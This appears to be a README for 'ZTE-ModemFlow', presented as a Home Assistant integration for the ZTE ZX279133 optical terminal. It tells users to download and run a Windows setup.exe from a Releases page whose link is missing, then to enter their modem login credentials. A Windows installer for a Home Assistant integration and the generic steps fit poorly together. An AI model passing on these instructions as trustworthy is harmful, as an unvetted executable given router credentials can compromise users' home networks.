ZTE-ModemFlow is designed specifically for the ZTE ZX279133 Optical Network Terminal (光猫). It offers a simple way to connect and control your modem within Home Assistant. This setup helps you automate and monitor your internet connection with ease.
This project focuses on deep integration, making sure you can access modem features directly from Home Assistant without extra steps.
- Windows 10 or later (64-bit)
- Home Assistant installed on a local machine or server
- Active internet connection
- ZTE ZX279133 Optical Network Terminal properly connected
This guide helps you download, install, and run ZTE-ModemFlow on a Windows machine without any technical background.
To get started, visit this page to download the latest version:
Click the link above to open the project page. Look for the Releases section on the right side or on top of the page. There, select the latest release and download the Windows installer file.
- Go to the ZTE-ModemFlow GitHub Releases page.
- Find the latest release version. It usually has a name like
ZTE-ModemFlow-setup.exeor similar. - Click the file to download it.
- Once the download completes, open the installer by double-clicking the file.
- Follow the on-screen steps:
- Choose your preferred language, if prompted.
- Agree to the terms and conditions.
- Choose the installation folder or use the default location.
- Wait for the installation to finish.
- When done, click the finish button to close the installer.
After installation, find the ZTE-ModemFlow icon on your desktop or in the Start menu.
- Double-click the icon to open the application.
- The first time you open it, the app will ask for permission to connect to your modem.
- Enter the modem’s local IP address (usually
192.168.1.1) if not automatically detected. - Provide the login credentials you use for your modem (often on the device label or your ISP documents).
- Save the settings.
The app will now connect to your ZTE ZX279133 modem and start syncing data with Home Assistant.
- Connection Status: The app shows if your modem is online or offline.
- Automatic Sync: Data updates automatically every few minutes.
- Control Panel: View device traffic, connected users, and signal strength.
- Restart Modem: You can restart the modem remotely through the app.
- Alerts: Set alerts for connection drops or unusual traffic.
ZTE-ModemFlow works by sending your modem data to Home Assistant.
To link the two:
- Open your Home Assistant dashboard.
- Navigate to Configuration > Integrations.
- Add a new integration named "ZTE-ModemFlow".
- Follow the simple prompts inside Home Assistant to connect it with the app.
- After setup, you can see modem stats and control options in your Home Assistant interface.
Inside the app’s settings menu, you can:
- Change the sync interval (frequency of updates).
- Update modem login details.
- Enable or disable alerts.
- Choose startup behavior (run app on Windows startup).
- Set language preferences.
Adjust these to match your needs without extra configuration hassle.
- If the app cannot connect to the modem, check your network cables and modem power.
- Verify the modem IP address is correct (default is usually
192.168.1.1). - Use the modem’s web interface in your browser to confirm login credentials.
- Make sure your Windows firewall allows ZTE-ModemFlow to communicate.
- Restart the app if it becomes unresponsive.
- Update the app regularly by checking the Releases page.
- Visit the Releases page.
- Download the newest installer.
- Run the installer; it will replace the old version safely.
- Your settings and data will remain intact.
If you run into issues:
- Check the GitHub project’s Issues tab for common questions.
- Use the comments in the latest release notes for updates.
- Contact your network administrator or device provider for modem-specific problems.
ZTE-ModemFlow is free to use and modify under the terms set by its license file in the repository. Review this file to understand your rights.